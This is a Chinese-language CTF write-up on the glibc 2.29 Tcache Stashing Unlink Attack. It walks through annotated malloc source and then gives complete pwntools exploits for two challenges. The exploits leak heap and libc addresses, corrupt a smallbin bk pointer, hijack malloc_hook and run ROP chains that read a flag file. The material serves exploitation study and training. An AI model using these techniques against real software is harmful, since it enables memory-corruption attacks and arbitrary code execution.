Tcache Stashing Unlink Attack
Tcache Stashing Unlink Attack就是calloc的分配不從tcache bin裏取chunk,calloc會遍歷fastbin、small bin、large bin,如果在tcache bin裏,對應的size的bin不爲空,則會將這些bin的chunk採用頭插法插入到tcache bin裏。首先,我們來看一下glibc 2.29的源碼。
- /*
- If a small request, check regular bin. Since these "smallbins"
- hold one size each, no searching within bins is necessary.
- (For a large request, we need to wait until unsorted chunks are
- processed to find best fit. But for small ones, fits are exact
- anyway, so we can check now, which is faster.)
- */
- if (in_smallbin_range (nb))
- {
- idx = smallbin_index (nb);
- bin = bin_at (av, idx);
- if ((victim = last (bin)) != bin) //取該索引對應的small bin中最後一個chunk
- {
- bck = victim->bk; //獲取倒數第二個chunk
- if (__glibc_unlikely (bck->fd != victim)) //檢查雙向鏈表完整性
- malloc_printerr ("malloc(): smallbin double linked list corrupted");
- set_inuse_bit_at_offset (victim, nb);
- bin->bk = bck; //將victim從small bin的鏈表中卸下
- bck->fd = bin;
- if (av != &main_arena)
- set_non_main_arena (victim);
- check_malloced_chunk (av, victim, nb);
- #if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb); //獲取對應size的tcache索引
- if (tcache && tc_idx < mp_.tcache_bins) //如果該索引在tcache bin範圍
- {
- mchunkptr tc_victim;
- /* While bin not empty and tcache not full, copy chunks over. */
- while (tcache->counts[tc_idx] < mp_.tcache_count //當tcache bin不爲空並且沒滿,並且small bin不爲空,則依次取最後一個chunk插入到tcache bin裏
- && (tc_victim = last (bin)) != bin)
- {
- if (tc_victim != 0)
- {
- bck = tc_victim->bk;
- set_inuse_bit_at_offset (tc_victim, nb);
- if (av != &main_arena)
- set_non_main_arena (tc_victim);
- bin->bk = bck; //將當前chunk從small bin裏卸下
- bck->fd = bin;
- //放入tcache bin裏
- tcache_put (tc_victim, tc_idx);
- }
- }
- }
- #endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
如上,我們看到,從small bin中取出最後一個chunk的時候,對雙向鏈表做了完整性的檢查,然而,後面將剩餘chunk放入tcache bin的時候,卻沒有這個檢查。然後,bck->fd = bin;這句代碼,可以將bck->fd處寫一個main_arena地址。如果我們可以控制bck,那麼就能實現任意地址處寫一個main_arena的地址。同理,如果我們能夠控制small bin的bck,並且保證vuln_addr->fd = bck,那麼就能分配到vuln_addr處。
爲了加深理解,我們從兩道題來鞏固一下。
hitcon_ctf_2019_one_punch
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下
Delete功能沒有清空指針,可以double free。
以及UAF編輯
Add功能使用的是calloc分配,並且size的大小不在fastbin範圍,因此用不了fastbin attack。
後面函數裏使用malloc分配
但是要想利用後面函數,就得繞過if的檢查,而此處是一個堆地址,我們不能直接修改,我們可以利用Tcache Stashing Unlink Attack將此處寫一個main_arena地址,進而可以繞過if,執行malloc從tcache bin裏分配到目標處。此處,我們的目的僅僅是往那個堆地址處寫一個大於6的數據,在Tcache Stashing Unlink Attack時,會從small bin裏取chunk到tcache bin,直到tcache bin填滿,但是如果我們僞造了bck,第二次遍歷的時候就會發生錯誤,因爲目標處我們不可控。因此,我們只需要讓其只進行第一次的遍歷,那麼,我們就得事先將對應的tcache bin裏填滿6個。爲了繞過對small bin最後一個chunk的完整性檢查,我們不能僞造最後一個chunk的bck,而應該僞造倒數第二個chunk的bck。因此,我們需要保證在small bin裏有兩個chunk。
然後通過calloc取出最後一個chunk時,發生Tcache Stashing,從而將目標處寫上一個main_arena地址。
- #0
- add(0,'a'*0x218)
- #1
- add(1,'b'*0x80)
- #1放入tcache bin 6次,剩餘1個空位
- for i in range(6):
- delete(1)
- edit(1,'b'*0x10)
接下來,泄露堆地址和glibc地址
- for i in range(6):
- delete(0)
- edit(0,'a'*0x10)
- delete(0)
- show(0)
- sh.recvuntil('hero name: ')
- heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
- print 'heap_addr=',hex(heap_addr)
- edit(0,'a'*0x10)
- #得到unsorted bin
- delete(0)
- show(0)
- sh.recvuntil('hero name: ')
- main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
- malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
- libc_base = malloc_hook_addr - malloc_hook_s
接下來,我們需要得到兩個small bin。首先,得到第一個0x90的small bin
- #從unsorted bin裏切割0x190,剩餘0x90
- add(1,'a'*0x180)
- #觸發malloc_consolidate整理unsorted bin,放入small bin
- add(1,'a'*0x400)
- #gap
- add(2,'a'*0x100)
接下來,得到我們第二個small bin。
- for i in range(7):
- delete(1)
- edit(1,'a'*0x10)
- #1放入unsorted bin
- delete(1)
- #從unsorted bin裏切割0x380,剩餘0x90
- add(2,'a'*0x370)
- #觸發malloc_consolidate整理unsorted bin,放入small bin
- add(2,'a'*0x400)
現在,我們要修改倒數第二個small bin的bk爲目標地址,然後實施tcache stashing attack
- #修改倒數第二個頭chunk的bk,fd不變
- edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
- #Tcache Stashing Unlink Attack,目標地址處被寫入了small bin的地址,因此繞過了後面函數的驗證,現在可以調用後門函數了
- add(1,'a'*0x80)
現在,我們就可以調用後面函數了,那麼通過UAF僞造tcache bin的next指針,分配到目標處。我們可以改寫malloc_hook或者free_hook。如果沒有開沙箱的話,我們直接改寫爲one_gadget即可,如果開啦,我們改爲add rsp,0xXX,使得棧進入我們可控的buf區
#coding:utf8
from pwn import *
sh = process('./hitcon_ctf_2019_one_punch')
#sh = remote('node3.buuoj.cn',26885)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
def add(index,content):
sh.sendlineafter('>','1')
sh.sendlineafter('idx:',str(index))
sh.sendafter('hero name:',content)
def malloc(content):
sh.sendlineafter('>','50056')
sh.send(content)
def edit(index,content):
sh.sendlineafter('>','2')
sh.sendlineafter('idx:',str(index))
sh.sendafter('hero name:',content)
def show(index):
sh.sendlineafter('>','3')
sh.sendlineafter('idx:',str(index))
def delete(index):
sh.sendlineafter('>','4')
sh.sendlineafter('idx:',str(index))
#0
add(0,'a'*0x218)
#1
add(1,'b'*0x80)
#1放入tcache bin 6次,剩餘1個空位
for i in range(6):
delete(1)
edit(1,'b'*0x10)
for i in range(6):
delete(0)
edit(0,'a'*0x10)
delete(0)
show(0)
sh.recvuntil('hero name: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,'a'*0x10)
#得到unsorted bin
delete(0)
show(0)
sh.recvuntil('hero name: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
print 'libc_base=',hex(libc_base)
print 'add_rsp_48=',hex(add_rsp_48)
#從unsorted bin裏切割0x190,剩餘0x90
add(1,'a'*0x180)
#觸發malloc_consolidate整理unsorted bin,放入small bin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)
for i in range(7):
delete(1)
edit(1,'a'*0x10)
#1放入unsorted bin
delete(1)
#從unsorted bin裏切割0x380,剩餘0x90
add(2,'a'*0x370)
#觸發malloc_consolidate整理unsorted bin,放入small bin
add(2,'a'*0x400)
#修改倒數第二個頭chunk的bk,fd不變
edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
#Tcache Stashing Unlink Attack,目標地址處被寫入了small bin的地址,因此繞過了後面函數的驗證,現在可以調用後門函數了
add(1,'a'*0x80)
#將malloc_hook鏈接到tcache bin
edit(0,p64(malloc_hook_addr))
malloc('/flag\x00')
flag_addr = heap_addr
#寫malloc_hook
malloc(p64(add_rsp_48))
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
add(1,rop)
sh.interactive()
RedPacket_SoEasyPwn1
此題與上一題差不多,直接貼上exp
#coding:utf8
from pwn import *
#sh = process('./RedPacket_SoEasyPwn1')
sh = remote('node3.buuoj.cn',28039)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
puts_s = libc.sym['puts']
def add(index,size,content):
sh.sendlineafter('Your input:','1')
sh.sendlineafter('idx:',str(index))
idx = 0
if size == 0x10:
idx = 1
elif size == 0xF0:
idx = 2
elif size == 0x300:
idx = 3
elif size == 0x400:
idx = 4
else:
raise Exception('error size')
sh.sendlineafter('How much do you want?',str(idx))
sh.sendafter('content:',content)
def delete(index):
sh.sendlineafter('Your input:','2')
sh.sendlineafter('idx:',str(index))
def edit(index,content):
sh.sendlineafter('Your input:','3')
sh.sendlineafter('idx:',str(index))
sh.sendafter('content:',content)
def show(index):
sh.sendlineafter('Your input:','4')
sh.sendlineafter('idx:',str(index))
def stackOverflow(payload):
sh.sendlineafter('Your input:','666')
sh.sendafter('What do you want to say?',payload)
for i in range(8):
add(i,0x400,'a')
#六個chunk用於放入0x100的tcache bin
for i in range(8,14):
add(i,0xF0,'b')
#得到0x410大小的unsorted bin
for i in range(14):
delete(i)
#泄露堆地址
show(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露libc地址
show(7)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
open_addr = libc_base + open_s
read_addr = libc_base + read_s
puts_addr = libc_base + puts_s
print 'libc_base=',hex(libc_base)
rop_addr = heap_addr + 0x1F80
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
#rop += '/flag'.ljust(8,'\x00')
rop += '/password.txt\x00'
#從0x410的unsorted bin裏切割一個0x310的空間,剩下的0x100的unsorted bin
add(0,0x300,'a')
#malloc一大的堆,使得unsorted bin裏的0x100的chunk放入small bin
add(0,0x400,'b')
#擋住top chunk,不能小於0x100,不然會從得到的small bin裏取,這樣我們前面就白費
add(1,0x400,'a')
#我們使用同樣的方法,來得到第二個0x100的unsorted bin
delete(0)
add(1,0x300,'a')
add(1,0x400,'b')
#修改第一個small bin的bk,指向目標地址
edit(0,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x1F70) + p64(heap_addr - 0x1010 + 0x800 - 0x10))
#Tcache Stashing Unlink Attack,目標地址處被寫入了small bin的地址,因此繞過了後面函數的驗證,現在可以調用後面函數了
#我們順便將rop佈置在這個堆裏
add(2,0xF0,rop)
#棧遷移到我們的rop裏執行
stackOverflow('a'*0x80 + p64(rop_addr - 0x8) + p64(leave_ret))
sh.interactive()